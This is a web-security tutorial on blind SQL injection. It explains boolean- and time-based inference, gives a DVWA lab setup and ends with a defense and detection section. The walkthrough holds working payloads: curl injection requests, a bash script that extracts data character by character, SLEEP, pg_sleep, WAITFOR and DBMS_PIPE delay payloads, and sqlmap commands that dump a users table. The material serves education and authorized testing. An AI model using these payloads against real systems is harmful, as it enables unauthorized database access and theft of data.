Blind SQL Injection: Boolean-Based and Time-Based Inference Techniques

Web Exploitation
Time it takes to read this article 6 minutes.

Legal & ethical disclaimer. This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test (e.g. a personal lab, a bug bounty program within scope, or a contracted engagement). Unauthorized access to computer systems is a crime under laws such as the U.S. CFAA, the UK Computer Misuse Act, and equivalents worldwide.

Introduction / Overview

Classic SQL injection (SQLi) is easy when the application echoes query results or database errors back to you. Blind SQL injection is the harder, more common variant: the injection is real, but the response body never contains the data you want. You cannot read the answer directly — so you infer it, one bit or one character at a time, by asking the database true/false questions and observing a side channel.

In this article you'll learn the two foundational blind techniques — boolean-based and time-based inference — how to build payloads with SUBSTRING and SLEEP, how to automate extraction with sqlmap, and how defenders detect and stop these attacks. If you also want to brush up on the in-band case first, see SQL Injection Fundamentals.

How It Works / Background

In a blind scenario, the injectable query runs server-side but its result is invisible. The trick is to fold a yes/no predicate into the query whose outcome changes something you can observe.

There are two observable side channels:

  • Boolean-based (content) inference — A TRUE condition yields the normal page (e.g. "Welcome back" or HTTP 200 with content), while FALSE yields a different page (e.g. "Invalid user" or empty results). You binary-search each character.
  • Time-based inference — When even the page content is identical for true and false, you weaponize response latency. A conditional SLEEP() (MySQL/MariaDB), pg_sleep() (PostgreSQL), or WAITFOR DELAY (MSSQL) makes the server pause only when your predicate is true. You measure the response time.

Both rely on the same primitive: extract a character of secret data using string functions and compare it. The canonical extractor is SUBSTRING(string, position, length) (MySQL/MSSQL; SUBSTR in Oracle, substring in PostgreSQL), combined with ASCII() to get a numeric codepoint you can binary-search between 0 and 127.

A single character test in MySQL looks like this:

-- Is the 1st char of the current DB user's name code-point > 109 ('m')?
SELECT ASCII(SUBSTRING((SELECT CURRENT_USER()),1,1)) > 109
SQL

Prerequisites / Lab Setup

You need a controlled target. Two good options:

  • DVWA (Damn Vulnerable Web Application) — has a dedicated "SQL Injection (Blind)" module.
  • PortSwigger Web Security Academy — free labs for both boolean and time-based blind SQLi.

Spin up DVWA quickly with Docker:

docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Browse http://localhost/, log in admin/password,
# set DVWA Security to "Low" or "Medium", open "SQL Injection (Blind)".
Bash

Tools used below: curl, Burp Suite (or any intercepting proxy), and sqlmap (ships with Kali; otherwise pipx install sqlmap).

Attack Walkthrough / PoC

Step 1 — Confirm the injection is blind

Take a parameter like ?id=1. Send a logically true and a logically false condition and compare responses:

# TRUE condition -> "User ID exists"
curl -s "http://target/blind.php?id=1' AND 1=1-- -" | grep -c "exists"
# FALSE condition -> "User ID is MISSING"
curl -s "http://target/blind.php?id=1' AND 1=2-- -" | grep -c "exists"
Bash

If the two responses differ predictably, you have a boolean-based channel. If they're identical, fall back to timing in Step 3.

Step 2 — Boolean-based extraction with SUBSTRING

Extract the database version's first character. We binary-search the ASCII value, halving the search space each request:

# Ask: is ASCII(1st char of @@version) greater than 53 ('5')?
curl -s "http://target/blind.php?id=1' AND ASCII(SUBSTRING(@@version,1,1))>53-- -" \
  | grep -q "exists" && echo "TRUE (>53)" || echo "FALSE (<=53)"
Bash

To pull a whole secret (say, the current user) without writing a parser by hand, a small loop using binary search keeps it to ~7 requests per character:

#!/usr/bin/env bash
URL="http://target/blind.php"
extract() { local q="$1"; local out=""
  for pos in $(seq 1 32); do
    local lo=32 hi=126 mid
    while [ $lo -le $hi ]; do
      mid=$(( (lo + hi) / 2 ))
      p="1' AND ASCII(SUBSTRING(($q),$pos,1))>$mid-- -"
      if curl -s --get --data-urlencode "id=$p" "$URL" | grep -q "exists"; then
        lo=$((mid + 1))
      else
        hi=$((mid - 1))
      fi
    done
    [ "$lo" -eq 32 ] && break          # no char -> end of string
    out+=$(printf "\\$(printf '%03o' "$lo")")
  done
  echo "$out"
}
extract "SELECT CURRENT_USER()"
Bash

SUBSTRING(...,pos,1) isolates one character; ASCII() turns it into a number; the >$mid comparison drives the binary search. The convergence point lo is the character's codepoint.

Step 3 — Time-based extraction with SLEEP

When content never changes, gate a delay on your predicate. The condition is only evaluated (and the sleep only fires) when true:

# MySQL: sleep 3s only if the 1st char of the DB name code-point > 109
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://target/blind.php?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>109,SLEEP(3),0)-- -"
Bash

A response time near or above 3 seconds means TRUE. Engine-specific equivalents:

-- PostgreSQL
1; SELECT CASE WHEN (ASCII(SUBSTRING(current_database(),1,1))>109)
        THEN pg_sleep(3) ELSE pg_sleep(0) END-- -

-- Microsoft SQL Server
1'; IF (ASCII(SUBSTRING(DB_NAME(),1,1))>109) WAITFOR DELAY '0:0:3'-- -

-- Oracle (heavy query as a delay primitive)
1' AND 1=(CASE WHEN (...) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',3) ELSE 1 END)-- -
SQL

Time-based attacks are slow and noisy on the network, so always set a delay long enough to beat jitter (2–5s) but short enough to finish, and confirm hits by repeating once.

Step 4 — Automate with sqlmap

In practice you let sqlmap handle the binary search, threading, and DBMS fingerprinting. Restrict the technique with --technique (B = boolean, T = time-based):

# Boolean + time-based only, dump the users table
sqlmap -u "http://target/blind.php?id=1" --cookie="security=low; PHPSESSID=..." \
       --technique=BT --dbms=mysql --batch \
       --string="exists" \
       -D dvwa -T users --dump
Bash

--string="exists" tells sqlmap the marker for a TRUE boolean response; for pure time-based it auto-calibrates a --time-sec threshold. Use --level and --risk to broaden payloads, and --threads 4 to speed up extraction.

Attack Flow Diagram

Blind SQL Injection: Boolean-Based and Time-Based Inference Techniques diagram 1

Diagram: pick boolean inference when the page content changes, otherwise fall back to timing, then binary-search every character until the secret is reconstructed.

Detection & Defense (Blue Team)

Blind SQLi is fundamentally a flaw in how queries are built. Defense in depth:

  • Parameterized queries / prepared statements. The single most effective control. Bound parameters are never parsed as SQL, so SUBSTRING(...)>53 is treated as literal data, not code. Use PDO with prepare()/execute() in PHP, parameterized cursor.execute(sql, params) in Python, or an ORM that parameterizes by default. Never concatenate user input into SQL.
  • Least privilege DB accounts. The web app's DB user should not own the schema, read mysql.user, or run SLEEP-heavy stacked queries. Revoke FILE, SUPER, and cross-database SELECT. This caps the blast radius even when injection exists.
  • Allow-list input validation. Constrain id parameters to integers, enums, or known patterns server-side. Reject anything else with a generic error.
  • Detect time-based attacks via latency anomalies. Monitor for endpoints whose response time clusters suspiciously around fixed values (e.g. exactly ~3s, ~6s, ~9s) and for many requests from one source with near-identical URLs differing only in a comparison constant — the signature of a binary search.
  • Detect boolean-based attacks via request patterns. A flood of requests toggling between two near-identical responses, or containing tokens like AND 1=1, AND 1=2, ASCII(, SUBSTRING(, ORD(, maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application). Surface these in your SIEM.
  • WAF as a compensating control. AWS WAF, ModSecurity (OWASP CRS), or Cloudflare can block known SQLi payload signatures and rate-limit inference bursts. Treat the WAF as a speed bump, not a fix — encodings and /*!...*/ comments bypass naive rules.
  • Statement timeouts. Set max_execution_time (MySQL) or statement_timeout (PostgreSQL) so a malicious SLEEP(30) is killed early, blunting time-based extraction and DoS.

For broader monitoring practices on injection-class bugs, see Web Application Firewall Bypass Techniques.

Conclusion

Blind SQL injection trades direct data exposure for an inference game: build a true/false predicate, observe a side channel — page content or response time — and binary-search your way to the secret with SUBSTRING and ASCII or a conditional SLEEP. The technique is slow by hand but trivially automated with sqlmap. On defense, the story is simpler than the attack: parameterize every query, enforce least privilege, validate input, and watch for the tell-tale latency and request-pattern anomalies that inference attacks leave behind.

References

Comments

Copied title and URL